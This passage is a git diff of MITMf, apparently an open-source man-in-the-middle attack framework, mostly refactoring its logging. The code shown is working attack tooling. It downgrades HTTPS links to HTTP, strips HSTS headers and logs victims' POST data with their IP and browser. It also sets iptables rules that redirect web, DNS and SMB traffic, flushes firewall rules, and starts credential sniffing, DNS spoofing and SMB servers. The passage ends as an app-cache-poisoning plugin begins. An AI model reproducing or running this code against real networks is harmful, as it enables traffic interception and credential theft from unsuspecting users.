log.debug("[DNSCache] DNS entry set: %s -> %s" %(host, ip_address))
|
||||
log.debug("DNS entry set: %s -> %s" %(host, ip_address))
|
||||
else:
|
||||
if self.customAddress is not None:
|
||||
self.cache[host] = self.customAddress
|
||||
|
@ -22,8 +22,10 @@ import string
|
||||
|
||||
from ServerConnection import ServerConnection
|
||||
from URLMonitor import URLMonitor
|
||||
from core.logger import logger
|
||||
|
||||
log = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [SSLServerConnection] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("SSLServerConnection", formatter)
|
||||
|
||||
class SSLServerConnection(ServerConnection):
|
||||
|
||||
@ -59,11 +61,11 @@ class SSLServerConnection(ServerConnection):
|
||||
for v in values:
|
||||
if v[:7].lower()==' domain':
|
||||
dominio=v.split("=")[1]
|
||||
log.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v)
|
||||
log.debug("Parsing cookie domain parameter: %s"%v)
|
||||
real = self.urlMonitor.real
|
||||
if dominio in real:
|
||||
v=" Domain=%s"%real[dominio]
|
||||
log.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v)
|
||||
log.debug("New cookie domain parameter: %s"%v)
|
||||
newvalues.append(v)
|
||||
value = ';'.join(newvalues)
|
||||
|
||||
@ -87,13 +89,13 @@ class SSLServerConnection(ServerConnection):
|
||||
if ((not link.startswith('http')) and (not link.startswith('/'))):
|
||||
absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
|
||||
|
||||
log.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link)
|
||||
log.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink)
|
||||
log.debug("Found path-relative link in secure transmission: " + link)
|
||||
log.debug("New Absolute path-relative link: " + absoluteLink)
|
||||
elif not link.startswith('http'):
|
||||
absoluteLink = "http://"+self.headers['host']+link
|
||||
|
||||
log.debug("[SSLServerConnection] Found relative link in secure transmission: " + link)
|
||||
log.debug("[SSLServerConnection] New Absolute link: " + absoluteLink)
|
||||
log.debug("Found relative link in secure transmission: " + link)
|
||||
log.debug("New Absolute link: " + absoluteLink)
|
||||
|
||||
if not absoluteLink == "":
|
||||
absoluteLink = absoluteLink.replace('&', '&')
|
||||
|
@ -32,6 +32,9 @@ from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
from core.logger import logger
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s %(clientip)s [type:%(browser)s-%(browserv)s os:%(clientos)s] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
clientlog = logger().setup_logger("ServerConnection_clientlog", formatter)
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [ServerConnection] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("ServerConnection", formatter)
|
||||
|
||||
class ServerConnection(HTTPClient):
|
||||
@ -57,57 +60,64 @@ class ServerConnection(HTTPClient):
|
||||
self.postData = postData
|
||||
self.headers = headers
|
||||
self.client = client
|
||||
self.printPostData = True
|
||||
self.clientInfo = {}
|
||||
self.plugins = ProxyPlugins()
|
||||
self.urlMonitor = URLMonitor.getInstance()
|
||||
self.hsts = URLMonitor.getInstance().hsts
|
||||
self.app = URLMonitor.getInstance().app
|
||||
self.plugins = ProxyPlugins.getInstance()
|
||||
self.isImageRequest = False
|
||||
self.isCompressed = False
|
||||
self.contentLength = None
|
||||
self.shutdownComplete = False
|
||||
|
||||
self.handle_post_output = False
|
||||
|
||||
def sendRequest(self):
|
||||
if self.command == 'GET':
|
||||
|
||||
log.info(self.headers['host'], extra=self.clientInfo)
|
||||
clientlog.info(self.headers['host'], extra=self.clientInfo)
|
||||
|
||||
log.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri))
|
||||
log.debug("Full request: {}{}".format(self.headers['host'], self.uri))
|
||||
|
||||
self.sendCommand(self.command, self.uri)
|
||||
|
||||
def sendHeaders(self):
|
||||
for header, value in self.headers.iteritems():
|
||||
log.debug("[ServerConnection] Sending header: ({}: {})".format(header, value))
|
||||
log.debug("Sending header: ({}: {})".format(header, value))
|
||||
self.sendHeader(header, value)
|
||||
|
||||
self.endHeaders()
|
||||
|
||||
def sendPostData(self):
|
||||
if self.printPostData is True: #So we can disable printing POST data coming from plugins
|
||||
if self.handle_post_output is False: #So we can disable printing POST data coming from plugins
|
||||
try:
|
||||
postdata = self.postData.decode('utf8') #Anything that we can't decode to utf-8 isn't worth logging
|
||||
if len(postdata) > 0:
|
||||
log.warning("POST Data ({}):\n{}".format(self.headers['host'], postdata), extra=self.clientInfo)
|
||||
clientlog.warning("POST Data ({}):\n{}".format(self.headers['host'], postdata), extra=self.clientInfo)
|
||||
except Exception as e:
|
||||
if ('UnicodeDecodeError' or 'UnicodeEncodeError') in e.message:
|
||||
log.debug("[ServerConnection] {} Ignored post data from {}".format(self.clientInfo['clientip'], self.headers['host']))
|
||||
log.debug("{} Ignored post data from {}".format(self.clientInfo['clientip'], self.headers['host']))
|
||||
|
||||
self.printPostData = True
|
||||
self.handle_post_output = False
|
||||
self.transport.write(self.postData)
|
||||
|
||||
def connectionMade(self):
|
||||
log.debug("[ServerConnection] HTTP connection made.")
|
||||
log.debug("HTTP connection made.")
|
||||
|
||||
user_agent = parse(self.headers['user-agent'])
|
||||
|
||||
self.clientInfo["clientip"] = self.client.getClientIP()
|
||||
self.clientInfo["clientos"] = user_agent.os.family
|
||||
self.clientInfo["browser"] = user_agent.browser.family
|
||||
|
||||
try:
|
||||
self.clientInfo["browserv"] = user_agent.browser.version[0]
|
||||
except IndexError:
|
||||
user_agent = parse(self.headers['user-agent'])
|
||||
|
||||
self.clientInfo["clientos"] = user_agent.os.family
|
||||
self.clientInfo["browser"] = user_agent.browser.family
|
||||
try:
|
||||
self.clientInfo["browserv"] = user_agent.browser.version[0]
|
||||
except IndexError:
|
||||
self.clientInfo["browserv"] = "Other"
|
||||
except KeyError:
|
||||
self.clientInfo["clientos"] = "Other"
|
||||
self.clientInfo["browser"] = "Other"
|
||||
self.clientInfo["browserv"] = "Other"
|
||||
|
||||
self.plugins.hook()
|
||||
@ -125,7 +135,7 @@ class ServerConnection(HTTPClient):
|
||||
code = values['code']
|
||||
message = values['message']
|
||||
|
||||
log.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message))
|
||||
log.debug("Server response: {} {} {}".format(version, code, message))
|
||||
self.client.setResponseCode(int(code), message)
|
||||
|
||||
def handleHeader(self, key, value):
|
||||
@ -137,15 +147,15 @@ class ServerConnection(HTTPClient):
|
||||
if (key.lower() == 'content-type'):
|
||||
if (value.find('image') != -1):
|
||||
self.isImageRequest = True
|
||||
log.debug("[ServerConnection] Response is image content, not scanning")
|
||||
log.debug("Response is image content, not scanning")
|
||||
|
||||
if (key.lower() == 'content-encoding'):
|
||||
if (value.find('gzip') != -1):
|
||||
log.debug("[ServerConnection] Response is compressed")
|
||||
log.debug("Response is compressed")
|
||||
self.isCompressed = True
|
||||
|
||||
elif (key.lower()== 'strict-transport-security'):
|
||||
log.info("Zapped a strict-trasport-security header", extra=self.clientInfo)
|
||||
clientlog.info("Zapped a strict-trasport-security header", extra=self.clientInfo)
|
||||
|
||||
elif (key.lower() == 'content-length'):
|
||||
self.contentLength = value
|
||||
@ -170,7 +180,7 @@ class ServerConnection(HTTPClient):
|
||||
|
||||
if logging.getLevelName(log.getEffectiveLevel()) == "DEBUG":
|
||||
for header, value in self.client.headers.iteritems():
|
||||
log.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value))
|
||||
log.debug("Receiving header: ({}: {})".format(header, value))
|
||||
|
||||
def handleResponsePart(self, data):
|
||||
if (self.isImageRequest):
|
||||
@ -190,13 +200,14 @@ class ServerConnection(HTTPClient):
|
||||
|
||||
def handleResponse(self, data):
|
||||
if (self.isCompressed):
|
||||
log.debug("[ServerConnection] Decompressing content...")
|
||||
log.debug("Decompressing content...")
|
||||
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
|
||||
|
||||
data = self.replaceSecureLinks(data)
|
||||
data = self.plugins.hook()['data']
|
||||
|
||||
log.debug("[ServerConnection] Read from server {} bytes of data".format(len(data)))
|
||||
log.debug("Read from server {} bytes of data:\n{}".format(len(data), data))
|
||||
#log.debug("Read from server {} bytes of data".format(len(data)))
|
||||
|
||||
if (self.contentLength != None):
|
||||
self.client.setHeader('Content-Length', len(data))
|
||||
@ -209,7 +220,7 @@ class ServerConnection(HTTPClient):
|
||||
try:
|
||||
self.shutdown()
|
||||
except:
|
||||
log.info("[ServerConnection] Client connection dropped before request finished.")
|
||||
log.info("Client connection dropped before request finished.")
|
||||
|
||||
def replaceSecureLinks(self, data):
|
||||
if self.hsts:
|
||||
@ -225,9 +236,9 @@ class ServerConnection(HTTPClient):
|
||||
for match in iterator:
|
||||
url = match.group()
|
||||
|
||||
log.debug("[ServerConnection][HSTS] Found secure reference: " + url)
|
||||
log.debug("Found secure reference: " + url)
|
||||
nuevaurl=self.urlMonitor.addSecureLink(self.clientInfo['clientip'], url)
|
||||
log.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl))
|
||||
log.debug("Replacing {} => {}".format(url,nuevaurl))
|
||||
sustitucion[url] = nuevaurl
|
||||
|
||||
if sustitucion:
|
||||
@ -243,7 +254,7 @@ class ServerConnection(HTTPClient):
|
||||
for match in iterator:
|
||||
url = match.group()
|
||||
|
||||
log.debug("[ServerConnection] Found secure reference: " + url)
|
||||
log.debug("Found secure reference: " + url)
|
||||
|
||||
url = url.replace('https://', 'http://', 1)
|
||||
url = url.replace('&', '&')
|
||||
|
@ -18,9 +18,11 @@
|
||||
|
||||
import logging
|
||||
|
||||
from core.logger import logger
|
||||
from twisted.internet.protocol import ClientFactory
|
||||
|
||||
log = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [ServerConnectionFactory] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("ServerConnectionFactory", formatter)
|
||||
|
||||
class ServerConnectionFactory(ClientFactory):
|
||||
|
||||
@ -35,12 +37,12 @@ class ServerConnectionFactory(ClientFactory):
|
||||
return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
|
||||
|
||||
def clientConnectionFailed(self, connector, reason):
|
||||
log.debug("[ServerConnectionFactory] Server connection failed.")
|
||||
log.debug("Server connection failed.")
|
||||
|
||||
destination = connector.getDestination()
|
||||
|
||||
if (destination.port != 443):
|
||||
log.debug("[ServerConnectionFactory] Retrying via SSL")
|
||||
log.debug("Retrying via SSL")
|
||||
self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
|
||||
else:
|
||||
try:
|
||||
|
@ -20,10 +20,12 @@ import re, os
|
||||
import logging
|
||||
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.logger import logger
|
||||
|
||||
log = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [URLMonitor] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("URLMonitor", formatter)
|
||||
|
||||
class URLMonitor:
|
||||
class URLMonitor:
|
||||
|
||||
'''
|
||||
The URL monitor maintains a set of (client, url) tuples that correspond to requests which the
|
||||
@ -79,7 +81,7 @@ class URLMonitor:
|
||||
s.add(to_url)
|
||||
return
|
||||
url_set = set([from_url, to_url])
|
||||
log.debug("[URLMonitor][AppCachePoison] Set redirection: {}".format(url_set))
|
||||
log.debug("Set redirection: {}".format(url_set))
|
||||
self.redirects.append(url_set)
|
||||
|
||||
def getRedirectionSet(self, url):
|
||||
@ -120,7 +122,7 @@ class URLMonitor:
|
||||
else:
|
||||
self.sustitucion[host] = "web"+host
|
||||
self.real["web"+host] = host
|
||||
log.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.sustitucion[host]))
|
||||
log.debug("SSL host ({}) tokenized ({})".format(host, self.sustitucion[host]))
|
||||
|
||||
url = 'http://' + host + path
|
||||
|
||||
@ -139,7 +141,7 @@ class URLMonitor:
|
||||
self.faviconSpoofing = faviconSpoofing
|
||||
|
||||
def updateHstsConfig(self):
|
||||
for k,v in ConfigWatcher.getInstance().config['SSLstrip+'].iteritems():
|
||||
for k,v in ConfigWatcher().config['SSLstrip+'].iteritems():
|
||||
self.sustitucion[k] = v
|
||||
self.real[v] = k
|
||||
|
||||
@ -156,14 +158,14 @@ class URLMonitor:
|
||||
return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
|
||||
|
||||
def URLgetRealHost(self, host):
|
||||
log.debug("[URLMonitor][HSTS] Parsing host: {}".format(host))
|
||||
log.debug("Parsing host: {}".format(host))
|
||||
|
||||
self.updateHstsConfig()
|
||||
|
||||
if self.real.has_key(host):
|
||||
log.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.real[host]))
|
||||
log.debug("Found host in list: {}".format(self.real[host]))
|
||||
return self.real[host]
|
||||
|
||||
else:
|
||||
log.debug("[URLMonitor][HSTS] Host not in list: {}".format(host))
|
||||
log.debug("Host not in list: {}".format(host))
|
||||
return host
|
||||
|
157
core/utils.py
157
core/utils.py
@ -1,6 +1,3 @@
|
||||
#! /usr/bin/env python2.7
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
@ -20,150 +17,72 @@
|
||||
#
|
||||
|
||||
import os
|
||||
import random
|
||||
import logging
|
||||
import re
|
||||
import sys
|
||||
|
||||
from core.logger import logger
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||
from scapy.all import get_if_addr, get_if_hwaddr
|
||||
|
||||
log = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [Utils] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("Utils", formatter)
|
||||
|
||||
def shutdown(message=None):
|
||||
for plugin in ProxyPlugins.getInstance().plist:
|
||||
for plugin in ProxyPlugins().plugin_list:
|
||||
plugin.on_shutdown()
|
||||
sys.exit(message)
|
||||
|
||||
class SystemConfig:
|
||||
def set_ip_forwarding(value):
|
||||
log.debug("Setting ip forwarding to {}".format(value))
|
||||
with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
|
||||
file.write(str(value))
|
||||
file.close()
|
||||
|
||||
@staticmethod
|
||||
def setIpForwarding(value):
|
||||
log.debug("[Utils] Setting ip forwarding to {}".format(value))
|
||||
with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
|
||||
file.write(str(value))
|
||||
file.close()
|
||||
def get_ip(interface):
|
||||
try:
|
||||
ip_address = get_if_addr(interface)
|
||||
if (ip_address == "0.0.0.0") or (ip_address is None):
|
||||
shutdown("Interface {} does not have an assigned IP address".format(interface))
|
||||
|
||||
return ip_address
|
||||
except Exception as e:
|
||||
shutdown("Error retrieving IP address from {}: {}".format(interface, e))
|
||||
|
||||
def get_mac(interface):
|
||||
try:
|
||||
mac_address = get_if_hwaddr(interface)
|
||||
return mac_address
|
||||
except Exception, e:
|
||||
shutdown("Error retrieving MAC address from {}: {}".format(interface, e))
|
||||
|
||||
class iptables:
|
||||
|
||||
dns = False
|
||||
http = False
|
||||
smb = False
|
||||
|
||||
__shared_state = {}
|
||||
|
||||
@staticmethod
|
||||
def getIP(interface):
|
||||
try:
|
||||
ip_address = get_if_addr(interface)
|
||||
if (ip_address == "0.0.0.0") or (ip_address is None):
|
||||
shutdown("[Utils] Interface {} does not have an assigned IP address".format(interface))
|
||||
|
||||
return ip_address
|
||||
except Exception as e:
|
||||
shutdown("[Utils] Error retrieving IP address from {}: {}".format(interface, e))
|
||||
|
||||
@staticmethod
|
||||
def getMAC(interface):
|
||||
try:
|
||||
mac_address = get_if_hwaddr(interface)
|
||||
return mac_address
|
||||
except Exception, e:
|
||||
shutdown("[Utils] Error retrieving MAC address from {}: {}".format(interface, e))
|
||||
|
||||
class IpTables:
|
||||
|
||||
_instance = None
|
||||
|
||||
def __init__(self):
|
||||
self.dns = False
|
||||
self.http = False
|
||||
self.smb = False
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if IpTables._instance == None:
|
||||
IpTables._instance = IpTables()
|
||||
|
||||
return IpTables._instance
|
||||
self.__dict__ = self.__shared_state
|
||||
|
||||
def Flush(self):
|
||||
log.debug("[Utils] Flushing iptables")
|
||||
log.debug("Flushing iptables")
|
||||
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
|
||||
self.dns = False
|
||||
self.http = False
|
||||
|
||||
def HTTP(self, http_redir_port):
|
||||
log.debug("[Utils] Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port))
|
||||
log.debug("Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port))
|
||||
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port {}'.format(http_redir_port))
|
||||
self.http = True
|
||||
|
||||
def DNS(self, dns_redir_port):
|
||||
log.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}".format(dns_redir_port))
|
||||
log.debug("Setting iptables DNS redirection rule from port 53 to {}".format(dns_redir_port))
|
||||
os.system('iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port {}'.format(dns_redir_port))
|
||||
self.dns = True
|
||||
|
||||
def SMB(self, smb_redir_port):
|
||||
log.debug("[Utils] Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port))
|
||||
log.debug("Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port))
|
||||
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 445 -j REDIRECT --to-port {}'.format(smb_redir_port))
|
||||
self.smb = True
|
||||
|
||||
class Banners:
|
||||
|
||||
banner1 = """
|
||||
__ __ ___ .--. __ __ ___
|
||||
| |/ `.' `. |__| | |/ `.' `. _.._
|
||||
| .-. .-. '.--. .| | .-. .-. ' .' .._|
|
||||
| | | | | || | .' |_ | | | | | | | '
|
||||
| | | | | || | .' || | | | | | __| |__
|
||||
| | | | | || |'--. .-'| | | | | ||__ __|
|
||||
| | | | | || | | | | | | | | | | |
|
||||
|__| |__| |__||__| | | |__| |__| |__| | |
|
||||
| '.' | |
|
||||
| / | |
|
||||
`'-' |_|
|
||||
"""
|
||||
|
||||
banner2= """
|
||||
███▄ ▄███▓ ██▓▄▄▄█████▓ ███▄ ▄███▓ █████▒
|
||||
▓██▒▀█▀ ██▒▓██▒▓ ██▒ ▓▒▓██▒▀█▀ ██▒▓██ ▒
|
||||
▓██ ▓██░▒██▒▒ ▓██░ ▒░▓██ ▓██░▒████ ░
|
||||
▒██ ▒██ ░██░░ ▓██▓ ░ ▒██ ▒██ ░▓█▒ ░
|
||||
▒██▒ ░██▒░██░ ▒██▒ ░ ▒██▒ ░██▒░▒█░
|
||||
░ ▒░ ░ ░░▓ ▒ ░░ ░ ▒░ ░ ░ ▒ ░
|
||||
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░
|
||||
░ ░ ▒ ░ ░ ░ ░ ░ ░
|
||||
░ ░ ░
|
||||
"""
|
||||
|
||||
banner3 = """
|
||||
▄▄▄▄███▄▄▄▄ ▄█ ███ ▄▄▄▄███▄▄▄▄ ▄████████
|
||||
▄██▀▀▀███▀▀▀██▄ ███ ▀█████████▄ ▄██▀▀▀███▀▀▀██▄ ███ ███
|
||||
███ ███ ███ ███▌ ▀███▀▀██ ███ ███ ███ ███ █▀
|
||||
███ ███ ███ ███▌ ███ ▀ ███ ███ ███ ▄███▄▄▄
|
||||
███ ███ ███ ███▌ ███ ███ ███ ███ ▀▀███▀▀▀
|
||||
███ ███ ███ ███ ███ ███ ███ ███ ███
|
||||
███ ███ ███ ███ ███ ███ ███ ███ ███
|
||||
▀█ ███ █▀ █▀ ▄████▀ ▀█ ███ █▀ ███
|
||||
"""
|
||||
|
||||
banner4 = """
|
||||
___ ___ ___
|
||||
/\ \ /\ \ /\__\
|
||||
|::\ \ ___ ___ |::\ \ /:/ _/_
|
||||
|:|:\ \ /\__\ /\__\ |:|:\ \ /:/ /\__\
|
||||
__|:|\:\ \ /:/__/ /:/ / __|:|\:\ \ /:/ /:/ /
|
||||
/::::|_\:\__\ /::\ \ /:/__/ /::::|_\:\__\ /:/_/:/ /
|
||||
\:\~~\ \/__/ \/\:\ \__ /::\ \ \:\~~\ \/__/ \:\/:/ /
|
||||
\:\ \ ~~\:\/\__\ /:/\:\ \ \:\ \ \::/__/
|
||||
\:\ \ \::/ / \/__\:\ \ \:\ \ \:\ \
|
||||
\:\__\ /:/ / \:\__\ \:\__\ \:\__\
|
||||
\/__/ \/__/ \/__/ \/__/ \/__/
|
||||
"""
|
||||
|
||||
banner5 = """
|
||||
███╗ ███╗██╗████████╗███╗ ███╗███████╗
|
||||
████╗ ████║██║╚══██╔══╝████╗ ████║██╔════╝
|
||||
██╔████╔██║██║ ██║ ██╔████╔██║█████╗
|
||||
██║╚██╔╝██║██║ ██║ ██║╚██╔╝██║██╔══╝
|
||||
██║ ╚═╝ ██║██║ ██║ ██║ ╚═╝ ██║██║
|
||||
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝
|
||||
"""
|
||||
|
||||
def get_banner(self):
|
||||
banners = [self.banner1, self.banner2, self.banner3, self.banner4, self.banner5]
|
||||
return random.choice(banners)
|
||||
|
@ -1 +1 @@
|
||||
Subproject commit 6fcff6bdb511ca306ec9ad29872342086714dd1d
|
||||
Subproject commit 7a19089bd9620e736a56ecde145206cec261cc67
|
63
mitmf.py
63
mitmf.py
@ -19,6 +19,10 @@
|
||||
#
|
||||
|
||||
import logging
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||
logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message
|
||||
logging.getLogger("watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
import os
|
||||
@ -26,28 +30,29 @@ import threading
|
||||
|
||||
from twisted.web import http
|
||||
from twisted.internet import reactor
|
||||
from core.utils import Banners, SystemConfig, shutdown
|
||||
from core.logger import logger
|
||||
|
||||
from core.banners import get_banner
|
||||
from plugins import *
|
||||
|
||||
print Banners().get_banner()
|
||||
print get_banner()
|
||||
|
||||
mitmf_version = '0.9.8'
|
||||
mitmf_codename = 'The Dark Side'
|
||||
|
||||
if os.geteuid() != 0:
|
||||
sys.exit("[-] The derp is strong with this one")
|
||||
|
||||
parser = argparse.ArgumentParser(description="MITMf v0.9.8 - 'The Dark Side'", version="0.9.8 - 'The Dark Side'", usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]', epilog="Use wisely, young Padawan.")
|
||||
parser = argparse.ArgumentParser(description="MITMf v{} - '{}'".format(mitmf_version, mitmf_codename),
|
||||
version="{} - '{}'".format(mitmf_version, mitmf_codename),
|
||||
usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]',
|
||||
epilog="Use wisely, young Padawan.")
|
||||
|
||||
#add MITMf options
|
||||
mgroup = parser.add_argument_group("MITMf", "Options for MITMf")
|
||||
mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]")
|
||||
mgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on")
|
||||
mgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use")
|
||||
mgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
|
||||
|
||||
#Add sslstrip options
|
||||
sgroup = parser.add_argument_group("SSLstrip", "Options for SSLstrip library")
|
||||
slogopts = sgroup.add_mutually_exclusive_group()
|
||||
sgroup = parser.add_argument_group("MITMf", "Options for MITMf")
|
||||
sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]")
|
||||
sgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on")
|
||||
sgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use")
|
||||
sgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
|
||||
sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching")
|
||||
sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)")
|
||||
sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.")
|
||||
@ -62,14 +67,13 @@ if len(sys.argv) == 1:
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
#Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object
|
||||
options.ip = SystemConfig.getIP(options.interface)
|
||||
options.mac = SystemConfig.getMAC(options.interface)
|
||||
|
||||
#Set the log level
|
||||
logger().log_level = logging.__dict__[options.log_level.upper()]
|
||||
formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger('mitmf', formatter)
|
||||
|
||||
#Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object
|
||||
from core.utils import get_ip, get_mac, shutdown
|
||||
options.ip = get_ip(options.interface)
|
||||
options.mac = get_mac(options.interface)
|
||||
|
||||
from core.sslstrip.CookieCleaner import CookieCleaner
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
@ -85,12 +89,14 @@ strippingFactory.protocol = StrippingProxy
|
||||
reactor.listenTCP(options.listen_port, strippingFactory)
|
||||
|
||||
#All our options should be loaded now, start initializing the plugins
|
||||
print "[*] MITMf v0.9.8 - 'The Dark Side'"
|
||||
print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename)
|
||||
for plugin in plugins:
|
||||
|
||||
#load only the plugins that have been called at the command line
|
||||
if vars(options)[plugin.optname] is True:
|
||||
|
||||
ProxyPlugins().add_plugin(plugin)
|
||||
|
||||
print "|_ {} v{}".format(plugin.name, plugin.version)
|
||||
if plugin.tree_info:
|
||||
for line in xrange(0, len(plugin.tree_info)):
|
||||
@ -102,7 +108,6 @@ for plugin in plugins:
|
||||
for line in xrange(0, len(plugin.tree_info)):
|
||||
print "| |_ {}".format(plugin.tree_info.pop())
|
||||
|
||||
ProxyPlugins.getInstance().addPlugin(plugin)
|
||||
plugin.reactor(strippingFactory)
|
||||
plugin.setup_logger()
|
||||
plugin.start_config_watch()
|
||||
@ -116,20 +121,20 @@ from core.netcreds.NetCreds import NetCreds
|
||||
NetCreds().start(options.interface)
|
||||
print "|_ Net-Creds v{} online".format(NetCreds.version)
|
||||
|
||||
#Start the HTTP Server
|
||||
from core.servers.http.HTTPserver import HTTPserver
|
||||
HTTPserver().start()
|
||||
print "|_ HTTP server online"
|
||||
|
||||
#Start DNSChef
|
||||
from core.servers.dns.DNSchef import DNSChef
|
||||
DNSChef.getInstance().start()
|
||||
DNSChef().start()
|
||||
print "|_ DNSChef v{} online".format(DNSChef.version)
|
||||
|
||||
#Start the HTTP Server
|
||||
#from core.servers.http.HTTPServer import HTTPServer
|
||||
#HTTPServer.getInstance().start()
|
||||
#print "|_ HTTP server online"
|
||||
|
||||
#Start the SMB server
|
||||
from core.servers.smb.SMBserver import SMBserver
|
||||
SMBserver.getInstance().start()
|
||||
print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver)
|
||||
SMBserver().start()
|
||||
print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver().mode, SMBserver().version)
|
||||
|
||||
#start the reactor
|
||||
reactor.run()
|
||||
|
197
plugins/appcachepoison.py
Normal file
197
plugins/appcachepoison.py
Normal file
@ -0,0 +1,197 @@
|
||||
# Copyright (c) 2014-2016 Krzysztof Kotowicz, Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import re
|
||||
import os.path
|
||||
import time
|
||||
import sys
|
||||
|
||||
from datetime import date
|
||||
from plugins.plugin import Plugin
|
||||
|
||||
class AppCachePlugin(Plugin):
|
||||
name = "AppCachePoison"
|
||||
optname = "appoison"
|
||||
desc = "Performs App Cache Poisoning attacks"
|
||||
version = "0.3"
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
self.mass_poisoned_browsers = []
|
||||
from core.sslstrip.URLMonitor import URLMonitor
|
||||
self.urlMonitor = URLMonitor.getInstance()
|
||||
self.urlMonitor.setAppCachePoisoning()
|
||||
|
||||
def response(self, response, request, data):
|
||||
|
||||
#This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future
|
||||
|
||||
